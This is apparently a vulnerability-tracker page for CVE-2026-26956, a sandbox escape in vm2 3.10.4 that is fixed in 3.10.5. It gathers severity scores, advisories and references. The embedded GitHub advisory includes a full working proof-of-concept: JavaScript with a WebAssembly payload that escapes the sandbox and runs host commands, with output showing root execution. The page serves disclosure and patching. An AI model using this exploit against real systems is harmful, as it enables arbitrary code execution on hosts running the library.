CVE-2026-26956
criticalpriority · track · 0EPSS 0.011 · 65 %ileDEEURUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (8)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1349vm2: Mehrere SchwachstellenDeutsch2026-05-03csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-ffh4-j6h5-pg66VM2 Has a WASM Sandbox Escape2026-05-05ghsa · osvUS
## Summary Full sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation. ## Details **Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux) **Trigger:** Attacker-controlled code passed to `VM.run()` **Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1) vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript. WebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution. ## PoC ```js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version); new VM().run(` const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("child_process").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); `); ``` ``` > node poc.js vm2: 3.10.4 | node: v25.6.1 process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ``` **Proof files** [poc.js](https://github.com/user-attachments/files/25285089/poc.js)
also known as (5)
Other names and identifiers for this entity.
sources
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references (9)
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-26956cnnvd
- https://github.com/patriksimek/vm2/releases/tag/v3.10.5enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66enisa_euvd
- https://access.redhat.com/security/cve/CVE-2026-26956nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2466548nvd
- https://github.com/patriksimek/vm2/releases/tag/v3.10.5Release Notesnvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66ExploitVendor Advisorynvd
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